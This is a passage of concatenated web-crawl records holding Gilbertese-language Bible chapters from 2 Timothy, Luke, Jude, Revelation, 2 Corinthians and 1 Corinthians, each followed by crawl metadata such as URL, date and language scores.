ane a na kairiia aomata ni kararoaia ma te Atua; 17ao ane e na kaakang aia taeka n reirei n ai aron te maneka ae te mka ae kana nako te iriko. Mai buakoia aomata aika anga aia taeka n reirei n aron akanne bon Umenaio ma Bireto; 18ake a tia ni b'aoua nako man te koaua, ngkai a taku b'a e a kaman tia n roko bongin te manga-maiu man te mate; ao a uru aia onimaki iai tabem'aang. 19Ma te aana ae matoatoa are ana aana te Atua e bon aki kona ni kam'aingaki; ao a koreaki i aona taeka aikai: \"E bon ataiia ana aomata te Uea\" ao \"A na bane ni kitana te buakaka akana m'anewea aran te Uea.\" 20A mena i nanon te auti ae ab'ab'aki tiaki ti m'angko aika karaoaki mani koora ao tirewa, ma iai naba aika karaoaki mani kaai ma taano; iai tabeua i buakoia aika b'aini botaki aika kakannato, ao tabeua a kabonganaki n taai n aki akaaka. 21Ma ngaia aei, b'a te aomata ane kaitiakia mani baike a buakaka, ao e na riki b'a ai aron te m'angko are b'ain te botaki ae kakannato. E na katabuaki maiuna b'a ana b'ai ana Toka, ao e na kakukureia nanon ana Toka. E a tauraoi ni kabonganaki i bukini m'akuri nako aika raraoi. 22Ko na kararoako man naano ni kaib'ab'aru aika naano n rorobuaka n ataei; ao ko na kataa ae ko kona, ni karaoa nanon te Atua, ni b'aina te kakaonimaki, te tangira, ma te raoi; ko na karaoi baikai ni botaki ma te koraki aika m'anewea aran te Uea ma nanoia aika itiaki. 23Ma ko na tai mutiakin taian titiraki ni baba aika aki kawanawana te aba, ngkai ko atai b'a a kariki kauntaeka. 24Ao e aki riai b'a e na kauntaeka ana toro te Uea; ma e na nimamannei nakoia aomata ni kabaneia, e na rabakau n reireiia aomata, e na taotaona nanona, ao 25e na nimamannei n reireiia akana a ekianako ao tao a na anganaki aia tai mairoun te Atua are a na biti nanoia iai b'a a aonga n ata te koaua; 26ao tao a na oki aia iango iai, ao a na maiu man ana b'ai ni kam'am'ane te riaboro, ngkai a tia n tauaki i rouna b'a konana ake e karaoia b'a a na karaoa nanona.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Tim\/2","date":"2016-06-29T03:03:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397562.76\/warc\/CC-MAIN-20160624154957-00112-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":779,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I tuangko i matan te Atua, ma Kristo Iesu, are nangi motiki taekaia akana maiu ma akana mate, ao i bukin ae E nangi roko n tautaeka b'a te Uea Ngaia: 2ko na tataekina ana taeka te Atua, ao ko na kakorakorako ni karaoia i nanon te tai ae riai ke ae e aki; ko na kaoti aroia aomata aika buakaka nakoia, ko na boaiia, ao ko na kaungaia, n reireiia ma te taotaonaki n nano ni kabane. 3B'a ane e na roko te tai ae a na rawa aomata iai n ongo te reirei ni koaua, ao a na iri nanoia ni kaib'ab'aru, ma ni karekeia aia tia reirei ni kabatiaia aika a na tuangaki i rouia baika a ingainga nanoia iai ni kan ongora. 4Ane a na katannakoi taningaia man te koaua, ao a na ongora ni karaki nikawai aika oteaki. 5Ma ngkoe, ko na kamarurungko b'a e na aki bua am iango i aoni b'aai ni kabane; ko na taona nanom nakoni marakim, ko na karaoa ana m'akuri te tia taekina te euangkerio, ao ko na karaoi ni kabane kanoan nakoam. 6Ao ngai, e a roko te tai ae N nang kamateaki iai ao N nangi riki b'a kanga ai aron te karea are te ninima are kab'aroaki i aon te baonikarea; aio au tai are N nang kitana iai te maiu aei. 7I a tia n rangi ni kekeiaki m'aaka, n te kekeiaki m'aaka ae e raoiroi; I a tia ni kabo biri m'aaka, ao I a tia n teimatoa i nanon te onimaki. 8Ao iai ngkai te kaniwanga i bukini karaoan nanon te Atua are e kawakinaki i buku, are te kaniwanga n tokanikai are E na anganai te Uea ae te Tia Motiki-taeka ae b'ab'aina te eti; ao tiaki ti ngai n anganaki, ma a na anganaki naba aomata ni kabaneia aika tangira kaotina. 9Ko na bareiko n nako mai nako iu n aki waeremwe. 10B'a e kitanai Tema, i bukin tangirani b'ain te maiu aei, ao e nako Tetaronike; ao Kiretike e nako Karatia, ao Tito e nako Tarematia. 11Ai ti Ruka ae mena i rou ngkai. Ko na wetea Mareko, ao kairiia mai b'a raom: b'a e manena i bukini buokau n te m'akuri. 12I kanakoa Tukiko nako Ebeto. 13Ngkana ko nako mai, ao ko na uota au kunnikai ae rabunan aou are I katikua i Teroa irouni Karebo; ao uoti naba taian nira ni boki ake a karaoaki man uteute, ma ai moa ra riki te nira ni boki ake kunin maan. 14Arekantero are te tia karaoi b'aai man te buraati e karaoi baika bubuaka aika bati nako iu. Ane e na kaboaki mwin ana m'akuri aika buakaka iroun te Uea n ai aroni baike e karaoi. 15Ao ko na tarataraiko mai rouna, b'a e rangi ni kakauntabai ara taeka. 16Akea ae e tei i rarikiu n te moa n tai are I taetae iai ni kaitarai bukinau; a bane ni kitanai. E bia aki tauaki aroia aei b'a te bure nakoia! 17Ma E tei te Uea i rarikiu ao E kakorakoraai b'a N na taekina te euangkerio ae b'anin b'a a na ongo aomata aika tiaki I-Iutaia; ao I kamaiuaki man te mate. 18E na boni kainaomataai te Uea man aaro nako aika bubuaka, ao E na kamaiuai ma ni karinai i nanoni ueana are i karawa. Bon ana b'ai te neboaki n aki totoki. Amen. 19Ko na anga au kamauri nakoni Nei Beritekira ma Akura ma ana utu Onetiboro. 20E tiku Erateto i Korinto; ao I katuka Terobimo i Mireto, ngke e aoraki. 21Ko na bareiko n nako mai i m'ain tain te aumeaang. E kamauriko Euburo, ma Boute, ma Rino, ma Kirauria, ma taari ni kabaneia. 22E na mena te Uea iroun tamneim. E na mena te akoaki iroumi ni kabaneingkami.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Tim\/4","date":"2016-06-30T07:44:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783398209.20\/warc\/CC-MAIN-20160624154958-00114-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":634,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a ingabong, i m'ain otin taai, ni moani bongin te wiiki, ao a nako nakekei nakon te nne ni mate, ma baike a boiarara ake a tia ni katauraoi. 2Ao a nora te atibu b'a e karabinoaki nako man te nne ni mate; 3ma ngke a rin, ao a aki kunea rab'atan te Uea are Iesu. 4Ngke a minotaki aia iango n te b'ai are riki, ao noria, a tei uomani mm'aane i rarikiia aika a b'ainiia ni kunnikai aika raneanea. 5Ao a kabaraakii mataia b'a a maaku, ao a taku mm'aane akekei nako ia, \"E aera ngkai kam ukoukora temanna ae maiu maibuakoia maate? 6E aki mena ikai, b'a E a tia ni manga uti. Kam na uringa ana taeka are E tuangngkami, ngke E mena i Kariraia, are e kangai, 7'B'a e riai b'a E na kam'aneaki Natin te Aomata nako nanoni baiia aomata aika buakaka, ao E na kamateaki n te kaibangaki ao E na manga uti n te katenibong.' \" 8Ao aine akekei, a uring ana taeka, 9ao ngke a oki man te nne ni mate, ao a taekini baikekei ni kabane nakoia uake tengauni ma temanna ma raoia ni kabaneia. 10Ao nakekei bon Nei Maria te I-M'aketara, ma Nei Ioana, ma Nei Maria are tinan Iakobo, ao aine ake tabeman ake raoia; a tuangiia reirei baikekei; 11ma taeka aikai n aia katautau uakekei, kaanga ai aron te rongorongo ae akea nanona, ao a aki kakoauai. 12Ma e tei rake Betero, ao e biri nakon te nne ni mate. Ngke e b'atiku n taraa nanona, ao e noori kunnikai ake a mainaina ni wene n ti ngaiia; ao e oki n okira mwengana n iangoa te baere e a tia n riki. 13Ao noria, a nako uoman mai buakoia uakekei, n te bongi naba arei, nakon te kawa ae arana Em'auti, ae tao itiua te maire raroana ma Ierutarem. 14A maroroakin taekani b'aai ni kabane ake a tia n riki. 15Ao ngke a tabe ni maroroo ma ni kauntaeka i bon i rouia, ao E kaaniia Iesu ao E airi ma ngaiia. 16Ma a aki kinaa b'a Iesu. 17Ao E taku nako ia, \"Tera ae kam a boni kakarabakauakinna ngkai kam nakonako?\" A tei n aki kakarongoa man nanokawaki. 18Ao temanna i rouia ae arana Kireob'a, e kaeka ni kangai, \"Ti Ngkoe te aomata ae mena i Ierutarem ae e aki ongo taekani baika a tia n riki ikekei i nanon tabeua boongi n nako?\" 19Ao Ngaia E kangai nako ia, \"Ae b'aai baikara?\" Ao a kaeka ni kangai, Ae taekan Iesu are te I-Natareta, are kaota aroni kakoauana, ni baika E karaoi ao n ana taeka, b'a te burabeti Ngaia i matan te Atua ma aomata ni kabaneia. 20Ao ara ibonga ake mataniwi ma taan tautaeka, a anga Ngaia b'a E na motikaki taekana nakon te kamateaki, ao a kamatea n te kaibangaki. 21Ma e tiku ara kaantaninga i Rouna b'a Ngaia ae na kamaiuia Iteraera! I rarikin aei, ai te katenua ni bong ngkai man te tai are a riki iai baikekei. 22Ma e ngae n anne, ao a kakubaira ara koraki n aine tabeman ake a roko n te nne ni mate: a nako n te nne ni mate ngke e a moanna n oti matan taai, 23ma a aki kunea rab'atan Iesu, ao a oki ma aia rongorongo ae a noriia anera, ake a taku b'a E maiu Teuarei. 24A nako n te nne ni mate raora tabem'aang, ao a nora are a atongnga aine akekei b'a e koaua, ma a aki nora Teuarei. 25Ao E taku Iesu nako ia, \"Aomata aika kam nanobaba, ao kam waeremwe n iri nanoni b'aai ni kabane ake a atongi burabeti! 26Tiaki e riai b'a E na karawawataki ni baikekei te Kristo, ao b'a E na rin i nanoni mimitongina?\" 27Ao E kaotai nako ia nanon taeka ake a koreaki ni m'akoroni booki n te B'aib'ara, ake a kaeti nako Ina b'a taekana, ao E moanna man ana boki Moote ma aia boki burabeti. 28A kaania te kawa are a nako iai, ao Iesu, E bakaaea te nako riki, 29ma a imanonoia uakekei ao a kangai, \"Ko na tiku i roura, b'a e a kani bong ao e a kan toki te ngaina.\" Ao Ngaia E rin n te auti n tiku ma ngaiia. 30Ngke E taibora n am'arake ma ngaiia, ao E anaa te kariki ao E tataro ni katituaraoi, ao E urua, ao E anganiia. 31Ao a kaureaki mataia ao a kinaa; ao E bua mai mataia. 32A i taetae i rouia ni kangai, \"Tiaki a riingaki nanora ngke E taetae nako ira i nanon te kawai, ao ngke E kab'ara nanon te B'aib'ara nako ira?\" 33Ao a tei rake n te aoa naba arei, ao a okira Ierutarem; ao a kuneia uake tengauni ma temanna b'a a botaki ma raoia, 34ao a kangai, \"E a bon tia ni manga uti te Uea, ao E a tia ni kaoti nakon Timon!\" 35A taekina ngkanne te b'ai are e a tia n riki i nanon te kawai, ao aroia ngke a kinaa te Uea n te tai are E urua iai te kariki. 36Ngke a tabe n atongi baikai, ao E tei Iesu i buakoia, ao E taku nako ia, \"E na mena te rau i roumi.\" 37A taonaki n te maaku ae korakora, ao a taku b'a a nora te anti. 38ao Ngaia E taku nako ia, \"Kam aera ngkai kam maaku? Ao e aera ngkai a waerake taian titiraki i nanomi? 39Kam na tarai baiu ma waeu, b'a boni Ngai; kam na riingai ao taraai: b'a akea irikon ao riin te tamnei n ai aron ae kam nori b'a iai i Rou.\" 40Ngke E a tia n atonga aei, ao E kaoti baina ma waena nako ia. 41Ao ngke a tiku n aki kakoauaa i bukin te kim'areirei ma te mimi are reke i rouia, ao E taku nako ia, \"Iai kanami i roumi ikai?\" 42A anganna te m'akoro n ika ae tinimaki; 43ao E anaia, ao E kanna i mataia. 44Ao E taku nako ia, \"Aikai au taeka ake I atong ngkoa nako imi, ngke I memena i roumi, b'a e riai b'a b'aai ni kabane ake a taekinaki i buku n ana tua Moote ma aia boki burabeti, ao i nanon Taian Areru, a na bane ni kakoroaki bukiia.\" 45Ao E buoki aia iango b'a a aonga n ata nanon are koreaki n te B'aib'ara; 46ao E taku nako ia, \"E koreaki ae kangai, b'a e riai b'a E na karawawataki ni kamateaki te Kristo, ao E na manga uti mai buakoia maate n te katenibong; 47ao b'a e na tataekinaki rairan te nano ma kab'araani buure n arana i buakoia botannaomata ni kabaneia, ni moa n taekinaki mai Ierutarem. 48Ngkami taan taekini baika kam a tia n nori. 49Ao noria, N na kanakoa nako aomi te baere E a tia ni kab'aka iai ana taeka Tamau b'a E na karaoia; ma kam na tiku i Ierutarem, ni karokoa anganakimi te m'aaka mai karawa.\" 50Ao E kairiia Iesu nako tinanikun Ierutarem ni karokoa a kaani ma Betania; ao E katei baina, ao E taetae ni kakab'aiaia. 51Ngke E tabe n taetae ni kakab'aiaia, ao E raure ma ngaiia, ao E uotaki nako karawa. 52Ao a taromauriia, ao a manga, okira Ierutarem ma te kim'areirei ae bati; 53ao a kabanei aia tai n te um'antabu, ni kakaraoiroa te Atua.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/24","date":"2016-06-30T12:37:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783398628.62\/warc\/CC-MAIN-20160624154958-00115-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1239,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairoun Iuta, ae ana toro Iesu Kristo, ae tarin Iakobo, nakoia akana weteaki, akana tangiraki iroun te Atua ae te Tama, akana kawakinaki i bukin Iesu Kristo: 2a na kabatiaki nako imi te nanoanga, ma te raoi, ma te tangira. 3Ngkami aika kam tangiraki, ngke e korakora nanou ni kani koroboki nako imi n taekina te maiu ae bon ara b'ai ma ngkami, ao I taku b'a e bon riai b'a N na koroboki nako imi ni butingkami b'a kam na kakorakoraingkami i bukin te onimaki are a anganaki ake a itiaki n te tai ae ti teuana ao akea riki. 4B'a a karabaia n rin n te ekaretia aomata tabem'aang aika kaburea taekinan ana akoi te Atua b'a a aonga n reke aonaia iai n aroia n tam'are, ao a kakeaa te Toka are ti temanna are ara Uea, are Iesu Kristo. A kaman taekinaki te koraki aei ngkoangkoa b'a a na motikaki taekaia ni kabuakakaki i bukin aroia aei. 5B'a e boni ngae ngke kam atai taekani baikai ni kabane, n te tai ae ti teuana, ma I kani kauringkami, b'a te Uea E kamaiuia te botannaomata ae Iteraera man te aba are Aikubita, ao rimwi E kamateia ake a aki onimaki. 6Ao anera ake a aki rauaki ni neia ni m'aka are a katauaki iai ma a kitan oini mwengaia, a kawakinaki i Rouna ni kabaeaki n taurekereke aika akea tokiia n te tabo ae rotongitong i m'ain te motiki-taeka n te bong are kakannato; 7n ai aroia kaain Totom ma Komora ma kaawa ake i rarikiia, ngke a kitan aroia ake a katauaki iai n ai aroia anera akekei, ao a karaoi aaro ni kammaira aika bobuaka ma te iango; ao a riki b'a te b'ai n reirei nakoia aomata ni kabaneia, ngkai a reke kaiia n te ai ae m'aka are akea tokina. 8Ao n aroia naba aio, te koraki aei a nori baika kanga taiani mii ake a riki iai ni bure nakon oin rab'ataia, ma n riba aron te Atua n uea i aoia, ma n taetaebuakaia ake a neboaki. 9Ao Mikaera are te mataniwi temanna irouia anera, ngke e un ma te riaboro ni kauntaeka i bukin rab'atani Mote, ao e maku n atonga kabuakakana n taetaebuakaia; ma e kangai, \"E na boaiko te Uea.\" 10Ao te koraki aei a taetaebuakai baika a aki atai aroia; ao baika a atai n aia namakin aika ai aron aia namakin maan aika aki wanawana, a kamateaki iai. 11A na reke kaiia! B'a a karaoa te baere e karaoia Kain, ao a kataua karaoan te kaairua are e karaoia B'araam i bukini kani karekeani boon aia m'akuri. A rawa ni kan tautaekanaki n ai aroni Kora, ao a mate. 12Te koraki arei a riki b'a kanga baareka n ami botaki n am'arake n i tangitangiri, ngkai a botaki n am'arake ma te aki aubaa, ao a ti tabeakiniia i bon i rouia; kanga naang aika akea te karau i nanoia, aika uouotaki nako n te ang; kanga kaai aika aki uaa n taini kaai n uaa; aika kaai aika kanga uoua aia tai ni mate ao a taekaki mani wakaaia; 13kanga naoni marawa aika kakamaaku ma aroia aika kamamaa aika noraki b'a kanga buroburon naao; kanga itoi aika tiotio nako, aika e kawakinaki i bukiia neia n aki toki n te roo ae rotongitong. 14Ao Enoka, are te kaitiman n aomata mai mwin Atam, e taetae naba i bukiia te koraki aei ni kangai: kanoa aika bane ni kaoti mairoun Atam, ake a kaman taetae ni burabetiaki i bukiia: \"Noria, E nako mai te Uea ma ana koraki n anera ake a itiaki aika reebu m'aitiia 15b'a E na motiki taekaia aomata ni kabaneia, ni kabuakakaia ni kabaneia akana aki reitaki ni maiuia ma te Atua, i bukin aia m'akuri ni kabane aika akea karinean te Atua iai, ake a tia ni karaoi n aki reitaki ma ana kaantaninga te Atua, ao i bukin taeka ni kamaraki nano aika a bukinna iai taani bure aika aki reitaki ma te Atua ni maiuia!\" 16Bon taani b'angantaeka te koraki aei, ao taani ngurengure ma taan iri oin nanoia ni kaib'ab'aru; taan taetae ni kainikatonga, ao a kamoamoaia aomata ni karangiia b'a a aonga n reke i rouia baika tangiri. 17Ngkami aika kam tangiraki, kam na uring taeka ake a atongaki rimoa irouia ana taan tuatua ara Uea are Iesu Kristo. 18B'a a kangai nako imi: \"N te tai ae te kabanea n tai, ao a na roko taani kakaniko, aika aomata aika iri oin nanoia ni kaib'ab'aru aika akea i rouia karinean te Atua.\" 19Aomata aikai boni ngaiia aika kariki taian raure; aomata aika iri oin nanoia ni baika a tangiri, ao akea te Tamnei i rouia. 20Ma ngkami aika kam tangiraki, kam na waki ni kateitei aromi i aon ami onimaki ae moan te tabu; ao kam na tataro n aroni kairami iroun te Tamnei are Raoiroi; 21ao kam na aki m'awa man ana tangira te Atua, ngkai kam kaantaninga ana nanoanga ara Uea are Iesu Kristo i bukin te maiu are aki toki. 22Ao kam na nanoangaiia tabem'aang aika nanokokoraki; 23Kam na kamaiuia tem'angina ni buritiia man te ai; ao kam na nanoangaiia tem'angina ma te maku, ma kam na ribaai aia kunnikai aika kabarekaki n aia kaib'ab'aru aika kam'ara. 24Ao ana b'ai Teuare kona ni kawakiningkami b'a kam na aki b'aka, are kona naba ni kaakingkami i matana ni mimitongina b'a aomata aika itiaki ma ni kim'areirei, 25ana b'ai te Atua ae ti temanna, are ara Tia Kamaiu, iroun Iesu Kristo are ara Uea, te neboaki, ma te karineaki, ma te tau-taeka, ma te m'aka, ngke a tuai ni karikaki b'aai, ao ngkai, ao n aki toki. Amen.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Jude\/1","date":"2016-06-25T20:32:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393518.22\/warc\/CC-MAIN-20160624154953-00091-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":955,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I nora te anera temanna ae korakora b'a e ruo mai karawa. E kunnikaiaki n te nang, ao Nei Wirara i aon atuna; ao ubuna ai aron taai, ao rangana ai aron tein taraan te ai ae tei b'a kanga te boua. 2Iai te nira ni boki ae uarereke ae uki i nanoni baina; ao e kaaki waena are ataina i aoni marawa, ao waena are maingina i aon te aba. 3Ao e taetae n te b'ana ae korakora, n ai aron te raian ngkana e bekorara; ao ngke e taetae ao a rebwe baa ake itiua ni kaekaa. 4Ao N nang koroboki ngke a kaeka baa ake itiua, ma I a ongo naba te b'ana mai karawa ae kaangai, \"Ko na kawakin ni kanikinaei b'a a na aki kakaotaki baike a a tia n taekini baa ake itiua, ao ko na tai koroi.\" 5Ao te anera are I noria b'a e tei i aoni marawa ao i aon te aba, e katea baina are ataina nako karawa, 6ao e taetae n tuea n aran Teuare maiu n aki totoki, are karaoa karawa ma baike i nanona, ao te aba ma baike i aona, ao marawa ma baike i nanona, ao e taku b'a akea kamaanan riki te tai. 7Ma ngkana e katanga ana bu te anera are te kaitiman, ao te Atua E na kakororaoa ana kaantaninga are raba, n ai aron are E taekinna nakoia ana toro ake burabeti. 8Ao e a manga taetae naba nako iu te b'ana are I ongo are roko mai karawa, ao e kaangai, \"Ko na nako n anaa te nira ni boki are uki are i nanoni bain te anera are tei i aoni marawa ao i aon te aba.\" 9Ao I nako n te anera arei, ao I taku nakoina, \"Kamai te nira ni boki ane uarereke anne. Ao e kaangai nako iu, Anaia, ao kanna; ao ane e na mao i nanoni birotom, ma e na karewe i nanoni wiim n ai aroni karewen aia karewe manibeeru.\" 10Ao I anaa te nira ni boki are uarereke mai nanoni bain te anera, ao I kanna; ao ai aroni karewen aia karewe manibeeru karewena i nanoni wiiu; ao ngke I a tia ni kanna, ao e mao i nanoni birotou. 11Ao I tuangaki ae kaangai, \"E riai b'a ko na manga taetae ni burabeti i bukiia natanaomata ma botannaomata ma aomata nako aika a kakaokoro aia taetae, ao i bukiia naba uea aika bati.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/10","date":"2016-06-28T17:40:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396949.33\/warc\/CC-MAIN-20160624154956-00016-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":414,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ngkai raon te Atua ni m'akuri ngaira, ao ti butingkami b'a kam na aki butim'aea ana akoi te Atua n te aro ae akea bonganana; 2b'a E kangai te Atua, \"I ongo i roum n te tai ae riai, Ao I buokiko n te bongi ni kamaiu.\" Noria, ngkai te tai ae riai; noria, ngkai te bongi ni kamaiu. 3Ti aki kani karika te aro ni kab'akab'aka nakon temanna, b'a e kawa ni kabuakakaki ara m'akuri i bukin te euangkerio. 4Ma ti kaotira b'a ana taani m'akuri ni koaua te Atua ngaira n aaro nako. N te nanom'aka ae bati, n taian rawawata, n taiani kainano, n taiani maraki, n taai aika kanganga. 5Ti oreaki, ti kabureaki, ao ti kakiriweaki n taiani kiriwe. Ti a tia ni m'akuri korakora n aki mamatu ao n aki mamatam. 6Ni maiura ae itiaki, n te atatai, n te taotaonaki n nano, n te atataiaomata ao ti a tia ni kaotira b'a ana toro te Atua ngaira iroun te Tamnei are Raoiroi, n te tangira ae aki m'am'ana te aba, 7n taekan te koaua, ao m'aakan te Atua. Ao e riki ara raoiroi b'a ara b'aai ni buaka ao te tia kataniira. 8Ti karineaki ao ti kamamaaeaki, ti uaraoaki ao ti kamoamoaki. Ti atongaki b'a tani bureburea te aba, ma bon taan taekina te koaua ngaira; 9ngke ti taekinaki b'a ti aki ataaki, ma ti bon ataaki irouia aomata nako; ngke aongkoa ti tabe ni mate, ao noria, ae ti boni maiu; ngke kanga ti kataereaki n reireiaki, ma ti aki mate; 10ngke ti taonaki n te rawawata n nano, ma ti aki toki ni kukurei; ngke ti riki b'a kanga aomata aika akea aia b'ai, ma ti karikirakei aroia aomata aika bati b'a a na kaub'ai; ngke ti riki b'a ai aroia akana akea aia b'ai, ma ti b'aini b'aai nako. 11I-Korinto, ti aki wii makiki n taetae nako imi, ao ti aki karabai nanora. 12Ti aki tiatian nanora nako imi, ma boni ngkami aika kam tiatian nanomi. 13Kam na karaoa naba nako ira ae ti karaoia nako imi. I taetae nako imi kanga ataei. kam na aki karabai naba nanomi! 14Kam na tai reitaki ni m'akuri ma akana tiaki taan onimaki. B'a e na kanga ni buokanib'ai te raoiroi ma te buakaka? Ke e na kanga n i raorao te oota ma te roo? 15Ao tera ae e bo iai nanoni Kristo ma Beriara? Ke tera te b'ai aei iai iroun te tia onimaki ao iai naba iroun ae tiaki te tia onimaki? 16Ao tera reitakin ana um'antabu te Atua ma bouannanti? B'a ngaira bon ana um'antabu te Atua ae maiu, n ai aron ana taeka te Atua are kangai: \"N na mamaeka i buakoia ao N na nakonako i buakoia; N na riki b'a Atuaia, ao a na riki b'a au aomata.\" 17Ao E kangai naba te UEA: \"Ma ngaia ae kam na m'awa mai buakoia, kam na kaokoroingkami; Kam na aki riinga te bae kam'ara, Ao N na butim'aingkami; 18N na riki b'a Tamami, ao ngkami kam na riki b'a natiu mm'aane ma natiu aine, bon ana taeka te UEA are Moan te M'aka.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/6","date":"2016-06-25T18:48:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393463.1\/warc\/CC-MAIN-20160624154953-00036-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":526,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:2929Ngke a baneakina Iesu aomata aika m'aiti, ao E taku, Te roro aei bon te roro ae buakaka; a ukoukora te kanikina, ma akea ae a na anganaki, b'a ti te kanikina are e kaotia Iona. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/29","date":"2016-06-28T17:51:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396949.33\/warc\/CC-MAIN-20160624154956-00081-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.9997724891,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9997724890708923}","num_words":52,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti na nori taekan am'arake ake karea nakoni bouannanti: ti ataia b'a \"ti bane n atatai\", n ai aron aia taeka tem'angina. E karika te kainikatonga te atatai, ma te tangira e buokia aomata b'a a na teimatoa. 2Te aomata ane taku b'a e ata raoi te b'ai teuana, ao e bon tuai n ataia n ai aron are e riai n ataia; 3ma ngkana e tangira te Atua te aomata, ao e bon ataaki i Rouna. 4Ma ngaia are i bukini ngkanne kanakin am'arake ake karea nakoni bouannanti, ao aei taekana: ti ataia b'a akea te bouannanti ae maiu i aonnaba, ao bon ti temanna te Atua ni koaua, ao akea riki. 5B'a e boni ngae n iai aika atongaki b'a aongkoa \"atua\", aika mena i karawa ao i aon te aba ao e koaua b'a bon iai \"atua\" aika bati, ao a bati naba aika iai m'akaia; 6ma bon ti temanna te Atua i roura, ae te Tama, ae a bane n riki b'aai i Rouna, ao ti maiu i bukina; ao ti temanna te UEA b'a Iesu Kristo, are a bane ni karikaki b'aai i Rouna, ao ti maiu i Rouna. 7Ma a aki bane aomata nako n ata te koaua aei. A a tia n taneiai aomata tem'angina ma bouannanti, ao a taku naba ngkai b'a ngkana a kang am'arake ake karea nakoni bouannanti, ao a kang iai kanaia bouannanti aika maiu; e a kanganga i rouia ae a na ataia b'a e eti ke e aki are a karaoia, ao e a reke i rouia te namakin ae a taku b'a a kam'ara iai ngke a kang. 8Ma akea aron te am'arake ae na karaoiroaki riki iai reitakira ma te Atua. Akea te bae ti na buakaka riki iai ngkana ti am'arake, ao akea naba te bae e na karaoiroira riki iai ngkana ti am'arake. 9Ma kam na tarataraia b'a e na aki riki inaomatami aei b'a te b'ai ni kab'akab'aka nakoia akana mamara n te onimaki. 10B'a ngkana ko noraki, ngkoe ae iai am \"atatai\", iroun temanna ae mamara mataniwin nanona b'a ko rarikiriki n am'arake i nanon te tabo are e tataromauriaki iai te bouannanti, ao tiaki e na buokaki iai nanona n noram i rouna b'a e na kang am'arake ake karea nakoni bouannanti? 11Ma ngaia ae i bukin am \"atatai\" ao e a uruaki iai maiun teuare mamara, ae te tia onimaki ae e mate Kristo i bukina. 12N te aro aei ao ko bure iai nakoni Kristo, ngke ko bure nakoia raom n onimaki aika mamara, ao ko urui mataniwin nanoia. 13Ma ngaia aei, ngkana e na riki te am'arake b'a te b'ai ni kab'akab'aka nakon raou n onimaki, ao N na bon aki manga kang irikomaiu, b'a I kawa n riki b'a te b'ai ni kab'akab'aka nakon 